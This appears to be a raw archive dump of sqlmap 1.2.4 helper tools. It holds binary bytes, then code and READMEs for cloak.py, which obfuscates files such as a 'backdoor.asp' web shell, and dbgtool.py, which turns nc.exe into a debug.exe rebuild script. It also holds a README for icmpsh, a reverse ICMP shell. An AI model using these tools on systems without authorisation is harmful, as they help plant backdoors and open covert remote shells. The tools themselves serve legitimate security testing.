ö÷5íeâ¢×JÌ¿À€¶ßªÏ¬ð¸äÃêÎ~Ù~ä=ï\ûœR\$â/ö:UEQîUKE@R5­*À~Òsÿ²õÜê‚ßÔhÉ­¾€³¶©}°¶»ZÆ4ÑÙÜØçò.ýîÐÊ¥'Y2<=KH0TÂSXH>–21'_¥¹¨ý2òmçÜÚÑìÆi»°È© ³ú½É¬Ô_ß3êõIÿm †*5è@ KßUåQ E:z/â$÷ Ôèú”ï2åÚÓÎ:ÃF¹=­ª“¶OÁDÌùÖÃáíŠø( §ï!o-58÷BíMÃWéM¦B8-~"¥Æ MøPíâwÖ^̽À·ç©ô¬¹jÃÚÎoÙ›å ïCû”%$%˜/å:òD'R>VÑJ¬@j5<*´} |ÿSõ×éMßNÔºÉf¾¾²l©T°x»XÆ&ҵܬçWò7ýèæ†' 2 >HTáS›H‰=ê1¢'^B°üŽòççÜ¶Ñ Æ•»+°Û©ø²Ý¾˜ÉaÔ@ßêéèõÃÿ p·*…5ˆ@ K˜U^QïDè:Ž/=%»Oàøúçï(å+ÙÑÎÃP¹º­O«¶ Á"̩քâ^íHøF¨ A…"-8žB@NÅVNÖB[8-‡!àÓ Q™ø]ìâÆÖvÌÁ(¶Cªî¬R¹8ÃUÏ!ÚåÁïwú,dÐý$r/Â;®ERWÿJû?41*šÆìþ&õêßԺȾ*³ã¨T°‰¼ÇÆúÑoÜ©ç*óþá¢XC(Ý2>9H>TrSˆG‘=2õ'ð)éÊüÂòmçÈÛlÑÆ ¼È¯·©õ³u¾ƒÉ&Ô!à¤êÖõ°ÿüòΖ*q5@ÇKVÌPfEý:u/$v†þÂúïäoÙÏ­Ãp¸é¬R«a¶ÜÀØÌ…×}âí%øø— `B"à,i8 C›NSVpN´BV7§,º!!Ø .ò÷ì7âõÖ¤ËUÀ"¶Ýªß¬Ó¹9ÄRÏïÙÈä8ðRûßH}C%K0i;¨EvQ`VMJÿ?Ú4U*8§·½ÿLõUêÊÞ«Ó"ɾ³©ª°;¼°ÆÑÖÜfèäòxýlå#%(–2ç=ûG†U^T~Gå=020'©Žóëüòøæ*ÜyтƄ»,¯-©Ý³ ¾ÀÉÕÔߎêzõöÿî Õ“l*85AÃKDVQ›EM:/$p7 úmï™äÒÙ¡Îé¾¸ï¬ «…¶¹Á²ÌO×Hâúìù:B Cù!¼-¥8PCyNPV½M¬H¿TTTÊGæ<•1,'}ÞýÓñZçJÜÑuÅi»~¯_¨´?¿ùÉÖԇߵê`ö÷ÿ¼ Ÿ~U+á5ò@gKVrP¥Dx:(/Ü$Ñ (ú¦ïT䱨ˆÎùÂC¹>¬,«S·AÁ¢Ì+×Uã}íþø*- ÿÚ"-“8åBuO›VeM¦BÌ7j,þ —[ e¬÷øë”álÖÌÀ=µªñ­k¹ôÃúÏwÚ„åðûÅ®MT%Î/¼;eFôQ\UK¿?*4Ì)š@—šþÞô¡é'ßîÓeÈ–½»²½©V°Æ¼OÇ=Òݺç‡óãýÑNw~(=3t> HHTÊSG!=¿1p'–áý"ògçyÛîÐÙÅj»ÿ¯×©5´ò¾áÉyÔ,à8ëö\ÿN 8 +Ä5¢@KáVÇPÌD³:@/ç#ãJ›šú®î0äùØ­Î@Ã¥¸ž«}ªB·æÀÍÛ×öâní›ø°û é"U-I9ÌCHO&WžMBÛ6Q,I! f÷9ìÑáDÖËÀžµGªç­iºƒÄÖÏ/ÚuåÏð üÍnõ%·0Å;FõQàTêI«?W4*OM(²þ õ¨éÞ}Ó|Èÿ½~²¡©c±t¼0ÇþÑÀÝ•èzóÓý´³“p(*3>8IÃTS‡G>=¶1a&•ÒéüRñ­æ¶ÛÑƺ.¯ÿ©ö³À¾qÊrÕ0àûêáõøÿH EöÉ*õ5£AL±1¼BÇïÒ‡Ýrè-óðý±±PL(â2â>eIºT1SÊG¦<%1Ð&—Cqüºñ¹æÜÝÐ4ÅÔºN¯ ªï³¥¿hÊ-Õ àÀêÇö\ï . Œ+W6LAèKúUlP1D:Î.d$ên @.ú ïGä[Ø·¸C¬Ô«~·ÕÁÝÌØ¡ãî+ù¾ |)#.Å8ÆC¿O“V1M'BX7Ž+Ð  ¢÷†ëAáîվ˿ µÈ©Ô­þ¹œÄпÚþåzðBûç@×%:0­<^FþR‚V J0?¼3j)4ÐäMþNôSé¶Þ2ÓÝÇS½/²Á¨\±@½£Ç½Ò?ÝèôÀþ•u, )£3Ñ>IàT§RÆF¹0& 1G<^FcRàU[IH?ÿ3”)VÔ÷ÿjô”éÚÝùÒ;Èa½²÷¨¨±ñ¼ŠÇ`ÒÀÝ(é»ó!þ1Âöë(l3¨>äH>VwS»F=\1R&å½'Fü%ñ=æM۽Рžº1®”©º´è¾ ÊÒÕŸàZëKö°· ¡e -+ß6ÏAµL}V6P-D/9h.”#ߊ ƒùqîäŽØEÍ;Âå·.¬ç«¸a•ÍØ,ãˆîéùÒ( ï–#¡.q9DtOªUmL³A¨62,¹ is •M÷âëià’ÕÖÊ÷¿'µBªß®kºâÄÚÏ[Û„æ$ñãû‡bd>&ó0×;ÕFéRüTÌIe? 4—(Äÿþ«óÃèÞ+Óoȶ¼¨±U©f±·¼È^ÓåÝÝèšóøýú-¤¼(z3£?}IiU‹SíF<Ì0Z&Mš&Qüôð ægÛIИķº{®´¨µñ¿ÖʘÕ\à‹ë7÷”— Zi ,¹6«A\LâVuOôC•9p.ø#H KvùÕînãï׳Í3Âp¸m«ï«¸ÂnÍØ+äBîÓùà ͪ#H.d9­CrPcV€LçAò6’+. Ñ‚ ÂÏö/ëÁà¦Õ1˼¿V´)ªÈ®(ºÛÄÇÐEÛNæëðØûˆ~$&œ0ž<.G¶RîTJè>[3)Ìv¹÷ýôØè\ÞÓŒÇØ¼Ô±¤©E±š½ÈÓÄÝ•èdô…þžJY) 4=?sIìTúRDFS<ô0¢&+º6VüPñ”æ—Ú6ÐñÄʺ\® ª)µ¶¿šÊ×ÕjáÒë÷Íÿ¦ `à ì+t6«A(M WÏODÅ9´-#n þùÀíyãØ Î¼Á”·àªC«þ·&ÂzÎpØéãîƒùSÙ ƒ#!.2:{DIPóV¬LHA6+p ) €ÿ ömëájÕ.Ê[¿¯´ß©Ë®6»PÅ£ÐùÚKæ±ñ»üƒ;îÔ&|1—<àFÀRUTIß>‰3O)lƒ[þ8ôÎè?Ý¿ÒÇM½|±«©E²9½ÿÇÒÒ ÞSéZôoþ†\>)ø3Ë>)J?UVR¶Ft<×0%ÐúP)üoððåÝÚ\Ð$ÅйZ®TªÝ´‚¿^Ë,Ö á¿ë²öª" Ð ˆ+ã6`BêL~VPÿCØ8÷-4#uW ufùæí¯ãKØ(ÍžÁ¶· «H«|¸ÅÂõ̓ØeãÃîûù…Ø !È#ï.ø9MDPWÎKWAK6°+¯  R²ö¾ë<àÕ™ÊW¿3µ×¨ñ®»!Å[ÐAÛ)çEñÊüSY̳&<1r<¦FéSUI0?¯3Ž(êb8þ‰óRèÝÐÒþÇּΰf©#²í¼,ȸÓVÞ<éôªþy|$)v4Ê?:J$Ê.™9–D¨PaV;LtAl6Å*ýA@  öÕê]à6ÕÛÊþ?´X©Æ®»º‡ÅRÑ’ÛÆæLñúû³ `ž&1†=GíSÞU%I_>í2 (fÿ ®ýoó˜è×ÝaÒÇž¼2±À¨d²õ½È{ÓÞLéðô`ÿ]9ï)v4“?òIkUÏQFâ;‹0H&<‹]€ûñ½åÚäÏoĺᭆª¶µý¿"ËÒÕØá+ì†÷æµ œl!&,7¢A½MaVOçCN9Ä-v"ìÕ ¬!ùYíÿâÎ×pÍóÁ¾¶ž«¬¸†ÂŽÎÙäµî³ùkBêê#m.?:E`PV™LA¥5 + ™ àÿWöóê¤àBÕíÉÔ¾f´í©ž®ƒ»ÍÅðЃÛiæò übð'Í1=GASGUpHŽ>!3Ù(o:kþ”óèÔÜ_Ò2Çè¼Ô°Ð¨¬²­½KÈÓ ß¸é´ô¤þN;˜Ñ)%4”?‡JÄV†RF<<Ð/o%*ÛçúðšåXÚ*Ð(Ĺb­ª“µõ¿0ÌKÖ®áçët÷úr s1!ý+Å7†B¦M§VFOaCW8¦-¼"!– rÆø¡í8ã±×qÌuÁ·†«Ÿ¬ó¸(ÃfÎÑØädï¨ú|ü ¾v$f/G:ÏDUPlU‰Kò@Ó5n+Ð¥š ùÿ}öë‘ßÏÔüÉA¿-´ù©¹¯3»°Å©Ð@Ü@çò†üKH('»1¦<·GžSpTêH¥>(3Å'ý:_HþÃò è)ÝsÒ„Çó»¾°^©U²y½êÈÔ»Þ¢émôªþÑñ{{)f4g@WJþU­RF7;0…%Šºo–ûðÞåŒÚuÏÁú|­/©¶¦À´ËWÖ3ácìø7n Q!ã,“7aBVM WoNMC«8½-#8n ˜Âøþí’â$×ãÌoÁ‘·¹ªÀ¬à¸äÂ2ÎêØùäïúbú œy$/3:|DaQV—K/A6¿*\ « íõhêîßãÔXÊð¾d³ê©¯ìº¼Å˜ÑÜç»ñ–üPC÷È&'2¤=ïGlS{TÄH›=Æ2(2@P„ýó=èGÝÑÂÆ¼ì°«©û²]¾çÈàÓ‚Þêqõÿ±Á*»4@RJ!U‡QµE[;T0†%±w«û`ð åÊÙnÏĺy­‡ª¶vÀq˰Ö8â¡ìÅ÷t“ '°!¶,D7zBN,WÐNmCÙ8ë,C"[› J@øùì¥âN×5ÍãÀ¶"ª¬Å¸ ÃFÏ=Ù¶äéîQú­GW$è.";%EHQ¤V¸K€@/5É*œ@5 éþÌõ¬ê*à“ÔWɾų‹©Â¯ð».ÆbÑÐÛç‘òný7 Ä®'F2c=°GzS¸SBH>¹2„(‹¶‘lýbó÷çgÜþÑÃÆ“¼€°Ð©+³÷½ÖÈ Ó‚ßê6õ ÿ\j( *É4?K£UŠQðEŸ;0·$¤`û”ï.åÚžÏ>Ĺ­Àª¾µQÀ;ÌóÖÛáˆì÷^÷ Ξ!S,Ê7CÒM¤V'O5Cù78-\"´q Κøíæâr×PÌÔÀç¶éª¬^¹‹ÃÆÎKÙ8ä¢ï°ú5¼Ö¿$¦/Ý:ùDQ(WÎJ¨@g5û*ÀFL ¬ÿïõOêß|Ô†Éæ¾‰³<¨°½»çÅ{ѼܷçCò]ýCæv“'ù1S=8H²TbTGHk>+2Ž'm½ñüUò»ç Ü@Ҟƻú¯„©³ã½ÆÉEÔRßÜé õ> E÷Î)`5„@ K«U¶Q‘Eš:Ë/ÿ$?rÝúàï^åڣΫÃA¹¢­ëª‰¶Á̶ֱá'ízø¯ ™"S-î7ÑBÂMÙUNõB)8‚-;"Àê Ú¿ø@íæááÖXÌ;ÁƶüªI­¹kÃ}ÎâÙ)å²ï‘ú&ðÿØ$‹/r:eEŒQVKK½@ƒ5ù)0o„ J-õê‚ß}ÔòÉý½U³ ©¼¯t»wÆÒk܈ç$òªü†Ô/h'õ1X>äGÄT+U:H”=2Ô'œ(7 ý‘òÝç÷Ü‘Ñ'Æé»6°Þ¨l³©¾`É:ÔñÞêÒõ# ÿòº*L5O@ßJÖUíPLE;Î/i%h¸ Õú:ðáäSÙÏ¢Ãù­«¶ÀÀö˦ֵâêì_ø€• s3"ö,ã7mBµNaV'N,Cq8ï,£!)ø Cøì/â×£ÌÁ⵫L­Ï¸eÃaÏàÙåäˆïnú6ÎŒ$Þ/i;ÇE7QìUFK¸?50*i…‘dÿdõGê°ß¾Óɾ³˜©A°n¼†ÆÏÑ3ÜÙç.óýN_^(v2ú=ëGÑSçSÍG¢=t2Ú'é?»ý´òEçÜ›ÑZÆ+¼Ó¯þ¨©³]¾,ÉmÔûßwêõ?ÿ6 þr*ý4]@|KíÑøÝE Ù?"¡-u8C[NWrMžBÅ7 -#"p’ èø›ìQá ÖÏËùÀ¶Æ©¨­ª¹ ÃAÏqÚ—åûïLû)–TQ%Ø/ÿ: FPR§U³Jƒ@’4§)¶ êþ¦ôÒéðÞSÔÉŸ½“²¸©w°Î»_Ç6ÒÝÇç©òþÙ'3m>ÁHTÛSÛGÒ<ø19'h^‹Þü*ò}çcÜÏÐðÅW»°Ó©ô³¿ÀÉ£Ô[ßïê>ö¥ÿc z¨C+’5Ô@2K†UªPòD„:’/¢$å1Ëïúï4äþؤÎMÃ6¹Ÿ¬«í¶8ÁEÌ×ÿâví~ø ƒ æ"q-#8>CO*WÒM¼Bï7,s!”Ç šf÷9ìÌáŽÖXÌÀåµ~© ­„¹ôà ÐÚå¹ïûÃz %Ã/ü;áE9R:VÈJ³?^4*ËsNHþõàéUß¿Ó|Èæ½Ð²X©»°°¼Ç)Ò¡ÜðçtóþõÚšŠ( 34>ƒH"TSxGD=õ1«'³æÍÅüŒòç•Û8ÑîÅӻޝª´·¾©ÉsÔaàÒêö¦ÿ6 Cò×*”5_@ LöU±P,EÌ:#/ê#FGüúÀîgä1ÙÛÎZÃ4¸Ñ¬F«š¶ Á͸שâZíAø"¾ ©K"Ÿ-9ºCÃNºVíMÄAT7S,¥!Àß A½÷VìâæÕmËÀ¶6ª™­kº4ĵÏéÙåæð(û \&&D0Ç;±EçQúUJÚ?ž4$*(|‚ÿõtéGÞ¸Ó§È9¾o² ¨±o¼ÆÆHÒžÝpè%ó þÃ<d(Ã2%>I\U›SG—=L1È&œ6î:ü„ñòæÎÛ|ѲÅຠ¯Ç©è³®¾ªÊþÔ1à—êñõµý º¦*?6CALþUßP¸DÍ9ÿ./$zÃ'úïžäÙÚÍÙÂy¸Ý¬y«r·ÑÁõÌtבâýí@ù2† cø".Ç8ŒC­NÊU1M3BS7À,S!ø 9ô÷fì á Ö|˃À×µª®è¹:ÄLÏÆÚèåð>ûàÛª%T0D;ábւ˪¿µ›ª ®°¹ûÄ&ЮڵåJððûýÖ“a%·0=<ŠF RŠUOJô>54f)©¿ÈþƒôŽéÈÞòÒCÈW½œ²c©I±½dÇ‘ÒݸèøóÄý\A*)C3Æ>»HT&SýFÕ<«1ÿ&pÌ ýÏñuæ/ÛÕЃÅm»Ò®Q©š´¿ÊFÕÏà;ëdößÿ ÅF V+Ó5"A}LŠWˆPDp:1.Ì#1újùvîýãÁØÎh ¸º«C«;·¬ÁÔÍÛ×Tãní>ùH Ë"¡-Ž9ñC“O”VhMÊA©6#, !›µ .=÷ìœáöÕÍÊî¿PµxªA®•º½ÄÐeÚ²å$ñüâž_;&ç0õ;UFÿQ¢TÍIh?04Ü)ÿ²þÛôSéäÝLÓGÈν;²·©±´¼XÇGÒÞÀè»óÊýå·°(Q3D>~IßTSGG=g1'&løÆüñæoÛÑ­Ålºõ®Ä©3´ý¾ºÊ£Õ_à8ëöl •ùv+·6ÆA)LÜV¦PÈCª9k.í#î;  úoîd䨴Í)Â}¸•««b¸âÁ›Íž×mã€îwùš ÝÕ#+.y9ŸC‰O“WhLñAã6R,‚ š 3e÷±ë‹àÑÕÿÊ7ÀµJ©Ÿ®Yº€Ä ÐSÛSæÚðþûèq&£0Ö;áF$SUÝIº?«3æ(àY2<þÏóéÞÓ*ÈÛ¼ª±¨©X±›¼BÈòÒÝ݃èóµþÒé…p(ä32?œI¨T-SôF<.1f&¦sÏ5üKñÃævÛ ÐÅ•º-¯ªó´É¿ Ê_Õ;àÃë ÷E9 A‘ ,k6’ALÐUÄO4D«9Ò.¼#` 3úœîdã2ØÔ͇Â[¸ß«Ã«È·ýÁÍpØÅãKî5ùÍv ¤e#4.ú8 D P WÓL B7U+Ÿ Íö ìˆözëñàÒÕtËK¿ø´ý¨ÿ­CºÜÄÏÐâÚEæŒðãû{Làì%Ÿ0Ó<£FS·UÞIä>37)ý¥e®ý0ôéÞäÒ©Ç*½ß±@©»±e½âÇæÒ{Ý¿èXôºþ¸£y\)Ø3ü>[IºT6×A4MVÍO†D|9Ñ-N#VŸ ó(ùî‚ãØáÍÎÁx·¬â«t·ªÂÎmØãîÂùÿ† w#y.ö9tD¬O¨VçLA~6Š+Û å ¦ßö™ë0áÕ™ÊV¿.µº©‰®0»ÅкÚxæºñÐûã0ç'1£ JîUÅR¾F¼)b4º?¹I°USüEà;›0$&¬¢¶ûÙðoæ˜Ú¯ÏÄVº‚®’ªÀµë¿@ËŠÕ áOìg÷] Ãd!3,7ÁAÁL^V OêC;9n.í"© )ŠùÿíÃâú×BÍRÂŽ·«‡¬(¸NÂÄÍÙ)äœîàùÝÖ#ˆ.~9»D¯PV_LÁA 6ô*3 p 8ö(ëià£Õ™Êä¾7´=ªÚ®ºÛÅçÐ…Ûvæ*ñ±ü­³S;&1=PGÓRUXI2>c3š(ÔÇ÷&þ¥óÏèâÝ+Òeǧ¼—±ªz²»½SÈ@ÓòÝéÚôSþù2ã)%4x?¶ITÞQ_Fè;ú0 &R”'Gü÷ð™åiÚнĔº ®lªlµÞ¿×Ê"Öáì2÷ƒ ‹!,°6ãAˆMWiODt9u-ì"âR Ežø³í#ãØ­ÍžÁ·Œ«b¬á·£Â’αØä=îúöÔ à#‡.U:ÑD-PÊU›Lè@ê5K+H ÇÓ ‡ÿyö6ëÏàÕüÉ)¿s´Ñª#¯X»–ÅÆÐ8ÛˆæÿñÅü•r2'µ1¶t3)2@7þÂóÎçRÝQҨǾ¼ï°íªŽ²c½8ÈÌÓïÞsé¦ôHþq i–)ø3ž?×JéT¼Q·FÏ;0‚%‡Ø QûLð´å±ÚÐÄš¹8®Õª µsÀÈË@ÖYáÎë÷ 6 ZÓ @,¥7hB7MiVuOCÆ8°-#$T ˆ.ù´íãNרÌsÁ‹·>«W¬ ¹ÃÂ\ÎrØDäYï.úQÏ ¹­$í.S:ZDpP”VK.A6ˆ+šàß ”ÿšöÔê»ßÕ"Ê…¿´¸©¯ »_ÅÙÐ8ÜçÂñ¥ü³Díä&{1•<çGUSS Iç>Ï2(Žc‡ýýòEèJÝÈÒFǼé°Üªx²X½+É­Ó¸ÞAévôdÿ˜µU=)Ë4ë?ˆJ.TÈQ:F);l0‘%ã„"yû~ðôåŸÚ.Ï\į¹ü®k«ÏµÀqË'Öá¡ìÐ÷ë r!Ë,;7bBµLÔT¿NzCÒ8.Ñ"U† ‚aùÌí‚âu×ùÌÉÁz·D¬û¬{¸ÖÂàÍXÙ„ä'ïßù‹]j6$þ.Ç9ñD4PðUýKIA6‡*Ó, 5¯õ»êàÕÊ—¾ì³J©'¯æºÙÅ„Ñ¾Û ç]ñªü3&™æ&02}=‘GŒSõS0H>É2`(E[2ý:óˆèÿÜÊÑèÆj¼é°Çª«³Ç½üÈiÓ³Þê*õ_ÿ|y *Ã4¦?YJUºPFu;›0J%Éa6”ûaðëä6Úkϓļ¹Ã­¬Åµ=ÀfËàÖïánì­÷ç¬ ö{!‚,7°BöM U³NÓCŠ8-r"™Á DWøOí¬â¾×üÌÁ–¶x¬+­0¸—ûÎLÙKääî†ú®^?æ#_/·:WEäO‚UúK6@¹5´* 9 öØêOàBÔËɇ¾Ž´zªª¯à»áÅAÑŽÛUçŠòvü«ÿÄÔ'Ç1=G½R«SHh>ì2Œ(^ÜÉýTóÙç˜Ü8ÒïÆÆ¼í°s©‰³°½—ÈÞÓ^ßâéíôSÿ§hÔû)^4Ô?šJ;U!QFØ; /.%•cÂúâï`å)ÚõÏÖÃ}¹W®ž«¾µMÀ`Ì‚ÖÞáì½÷— ³W!H,8¶B×M6UµN-C8-~"÷4 v§øhíãg×/ÌYÁ°¶q¬—­ ¹nÊÎÙ5äÅï§ú˜%·$Ÿ/h:+EæOYThK®@­52+…ni öê‹ßxÔíÉß¾p³ìª¿°Œ»ÂŪџÜ]çRògü ö'¢1~=NHÿRfSiHP>2Ê'¨!|ýòæçäÜXÒwƨ» ±ª"³9¾ƒÉ Ôߨé)õ(ÿÙLz"*,5˜@4J²U‹QE2;³/q%5ßÝûùï³å¢ÙϧÃ˹:®”«ý¶À7Ì2ÖâíNøòs ŽO"ä,í7qB,MñU MEC\8¨-"í: Ïøíýá*×wÌÁù¶¯« ®é¸ÛÎíÙëäsïú’øÆ©$L/^:sE{P¸T[K A057*X°§ ŠÿFõcê”ßÝԹɾ'´ ««°€»¦ÆµÑTÜ=çòoýbŽ'h2Ü="HÒRPS H~=‹2Ô'æ1„ýÂòèùÜ[ÑœÆÍ»7±™ªø³{¾"ÉÔ¾ÞfêšõÿÀï½*à4a@;J„T„P_E7;0@%qÔiûð×äŽÙFÏÛÃ乯­n«º¶tÀËËèÖyâÆìø%ì Lô!Ö,Š7µBúMšVåM`C„8«," ‚à÷áìZâ3×å̪À¡¶„«¤­Ú¸eÃvÏiÙúä÷î ûƒÆ…$ú/F;ZEwPU£J%@5}*Ž^¡ÿ‚õ¡ênßÙÓMÉM¾5´ «Á±)¼wÆxÑ4ÜèÅò€ý@S±(O2Ì=YGSR‹Gì= 2¿'Û´@¢ý²ò&ç`ܫѯÆ6¼±°«&´¾É¢ÔºßAêrõöþH Þ.n*µ4˜@ºJ©TxP›E;/Ô$¡9£úeïåÊÙkÏÃ}¹X®¡«}¶Á²Ì÷Ö8âìeøŸ# º!-š8äB M.VÔMdBñ7ã,L"G€ æ]øåì¶âdÖ#̆À ·"«¾­ ºrÃ>Ï-Ù4åðùúö«ˆ%¡/@;ôDÔP´U3J@5Ò*¢2öûþÉõ÷éñÞ@ÔYÉ«¾§³Þ©‰±/¼ÆÉÑúÜÜçŠòjýa7˜Ô'2£=HHƒSÐR‹G:>Ø1f'5ÍŽ×ü#ò†çlÜÒIÆq»Ê°èª´;¾ýÉuÔŠßêWõT ‘"*•5Ï@™J‰T’PôD‹:/Û$²ZÛúïKåÙ‰ÎPÃ…¹®û«k·ÁoÌÍÖâgí¢ø„ó Çm"q-78ÛBêLUMÆBõ7S-ç!° è|ø2ìÊáœÖ7ÌòÀ¶¶–«R®•¹hÃuÏYÚ?åðzúºÌÛ[%_/S;~EÎP]UƒJœ@]4ü)ÙUH ”ÿÄô ê$ß‚ÔÖÈâ½7´:©±©¼ÇÒ¹Üç®òâýÎ SÏ'ø2V>WG³SMS‘Fm=ä1§'dMˆ”ücòÃçÜ ÑÆ®»Ë°ìª.µ´¾¼É;ÔŠßôêóõ6 ©ŒÕ(Ç2%=„F_PŠJÌ?þ5·+ !:Ž 4ûÕð"çgÝÐÔ¢Ë{Â<¸„·KÁjÊ)Ô‹Þ>çNð„ùwz 'ã $!-¨5­>XCŸ<Ž3ß*"8ï@ðù¡ñœéâ¡Ú Ò!Ë'ÄWŅηÖ_ÞAæíõhüØ_ ïÃ&º,*446¸.Y' ˜¬ $`ÿØùàò.ífæcàÛÚÔ‹ÏÊÓGÛþàIç<íUóù—þ<ÚšÌĪi#Ž(ô'¼!Çð; ¿½¬þúzõDð¯ìûçrã߆ÜgáæÉê‘ïôø÷1üõÿ,>[ ô4žiçkf1–? =”þ<û¬øÎõ]ó³ïûì ëaê±íóðÅóTö-ù¸ûžþ£²®¿¹Ò µ @êl   ùŒÿþÒüRû&úøÿ÷÷-÷Yù;ûïû­üþ{ÿ$Ûÿ(ê ñQ‹Þüÿýÿsqlmap-1.2.4/extra/cloak/000077500000000000000000000000001326012263700152315ustar00rootroot00000000000000sqlmap-1.2.4/extra/cloak/README.txt000066400000000000000000000013341326012263700167300ustar00rootroot00000000000000To use cloak.py you need to pass it the original file, and optionally the output file name. Example: $ python ./cloak.py -i backdoor.asp -o backdoor.asp_ This will create an encrypted and compressed binary file backdoor.asp_. Such file can then be converted to its original form by using the -d functionality of the cloak.py program: $ python ./cloak.py -d -i backdoor.asp_ -o backdoor.asp If you skip the output file name, general rule is that the compressed file names are suffixed with the character '_', while the original is get by skipping the last character. So, that means that the upper examples can also be written in the following form: $ python ./cloak.py -i backdoor.asp $ python ./cloak.py -d -i backdoor.asp_ sqlmap-1.2.4/extra/cloak/__init__.py000066400000000000000000000002221326012263700173360ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ pass sqlmap-1.2.4/extra/cloak/cloak.py000066400000000000000000000041731326012263700167010ustar00rootroot00000000000000#!/usr/bin/env python """ cloak.py - Simple file encryption/compression utility Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import os import sys import zlib from optparse import OptionError from optparse import OptionParser def hideAscii(data): retVal = "" for i in xrange(len(data)): if ord(data[i]) < 128: retVal += chr(ord(data[i]) ^ 127) else: retVal += data[i] return retVal def cloak(inputFile=None, data=None): if data is None: with open(inputFile, "rb") as f: data = f.read() return hideAscii(zlib.compress(data)) def decloak(inputFile=None, data=None): if data is None: with open(inputFile, "rb") as f: data = f.read() try: data = zlib.decompress(hideAscii(data)) except: print 'ERROR: the provided input file \'%s\' does not contain valid cloaked content' % inputFile sys.exit(1) finally: f.close() return data def main(): usage = '%s [-d] -i [-o ]' % sys.argv[0] parser = OptionParser(usage=usage, version='0.1') try: parser.add_option('-d', dest='decrypt', action="store_true", help='Decrypt') parser.add_option('-i', dest='inputFile', help='Input file') parser.add_option('-o', dest='outputFile', help='Output file') (args, _) = parser.parse_args() if not args.inputFile: parser.error('Missing the input file, -h for help') except (OptionError, TypeError), e: parser.error(e) if not os.path.isfile(args.inputFile): print 'ERROR: the provided input file \'%s\' is non existent' % args.inputFile sys.exit(1) if not args.decrypt: data = cloak(args.inputFile) else: data = decloak(args.inputFile) if not args.outputFile: if not args.decrypt: args.outputFile = args.inputFile + '_' else: args.outputFile = args.inputFile[:-1] f = open(args.outputFile, 'wb') f.write(data) f.close() if __name__ == '__main__': main() sqlmap-1.2.4/extra/dbgtool/000077500000000000000000000000001326012263700155725ustar00rootroot00000000000000sqlmap-1.2.4/extra/dbgtool/README.txt000066400000000000000000000010451326012263700172700ustar00rootroot00000000000000To use dbgtool.py you need to pass it the MS-DOS executable binary file, and optionally the output debug.exe script file name. Example: $ python ./dbgtool.py -i ./nc.exe -o nc.scr This will create a ASCII text file with CRLF line terminators called nc.scr. Such file can then be converted to its original portable executable with the Windows native debug.exe, that is installed by default in all Windows systems: > debug.exe < nc.scr To be able to execute it on Windows you have to rename it to end with '.com' or '.exe': > ren nc_exe nc.exe sqlmap-1.2.4/extra/dbgtool/__init__.py000066400000000000000000000002221326012263700176770ustar00rootroot00000000000000#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ pass sqlmap-1.2.4/extra/dbgtool/dbgtool.py000066400000000000000000000045601326012263700176030ustar00rootroot00000000000000#!/usr/bin/env python """ dbgtool.py - Portable executable to ASCII debug script converter Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import os import sys import struct from optparse import OptionError from optparse import OptionParser def convert(inputFile): fileStat = os.stat(inputFile) fileSize = fileStat.st_size if fileSize > 65280: print "ERROR: the provided input file '%s' is too big for debug.exe" % inputFile sys.exit(1) script = "n %s\nr cx\n" % os.path.basename(inputFile.replace(".", "_")) script += "%x\nf 0100 ffff 00\n" % fileSize scrString = "" counter = 256 counter2 = 0 fp = open(inputFile, "rb") fileContent = fp.read() for fileChar in fileContent: unsignedFileChar = struct.unpack("B", fileChar)[0] if unsignedFileChar != 0: counter2 += 1 if not scrString: scrString = "e %0x %02x" % (counter, unsignedFileChar) else: scrString += " %02x" % unsignedFileChar elif scrString: script += "%s\n" % scrString scrString = "" counter2 = 0 counter += 1 if counter2 == 20: script += "%s\n" % scrString scrString = "" counter2 = 0 script += "w\nq\n" return script def main(inputFile, outputFile): if not os.path.isfile(inputFile): print "ERROR: the provided input file '%s' is not a regular file" % inputFile sys.exit(1) script = convert(inputFile) if outputFile: fpOut = open(outputFile, "w") sys.stdout = fpOut sys.stdout.write(script) sys.stdout.close() else: print script if __name__ == "__main__": usage = "%s -i [-o ]" % sys.argv[0] parser = OptionParser(usage=usage, version="0.1") try: parser.add_option("-i", dest="inputFile", help="Input binary file") parser.add_option("-o", dest="outputFile", help="Output debug.exe text file") (args, _) = parser.parse_args() if not args.inputFile: parser.error("Missing the input file, -h for help") except (OptionError, TypeError), e: parser.error(e) inputFile = args.inputFile outputFile = args.outputFile main(inputFile, outputFile) sqlmap-1.2.4/extra/icmpsh/000077500000000000000000000000001326012263700154235ustar00rootroot00000000000000sqlmap-1.2.4/extra/icmpsh/README.txt000066400000000000000000000031511326012263700171210ustar00rootroot00000000000000icmpsh - simple reverse ICMP shell icmpsh is a simple reverse ICMP shell with a win32 slave and a POSIX compatible master in C or Perl. --- Running the Master --- The master is straight forward to use. There are no extra libraries required for the C version. The Perl master however has the following dependencies: * IO::Socket * NetPacket::IP * NetPacket::ICMP When running the master, don't forget to disable ICMP replies by the OS. For example: sysctl -w net.ipv4.icmp_echo_ignore_all=1 If you miss doing that, you will receive information from the slave, but the slave is unlikely to receive commands send from the master. --- Running the Slave --- The slave comes with a few command line options as outlined below: -t host host ip address to send ping requests to. This option is mandatory! -r send a single test icmp request containing the string "Test1234" and then quit. This is for testing the connection. -d milliseconds delay between requests in milliseconds -o milliseconds timeout of responses in milliseconds. If a response has not received in time, the slave will increase a counter of blanks. If that counter reaches a limit, the slave will quit. The counter is set back to 0 if a response was received. -b num limit of blanks (unanswered icmp requests before quitting -s bytes maximal data buffer size in bytes In order to improve the speed, lower the delay (-d) between requests or increase the size (-s) of the data buffer. sqlmap-1.2.4/extra/icmpsh/__init__.py000066400000000000000000000015501326012263700175350ustar00rootroot00000000000000#!/usr/bin/env python # # icmpsh - simple icmp command shell (port of icmpsh-m.pl written in # Perl by Nico Leidecker ) # # Copyright (c) 2010, Bernardo Damele A. G. # # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this 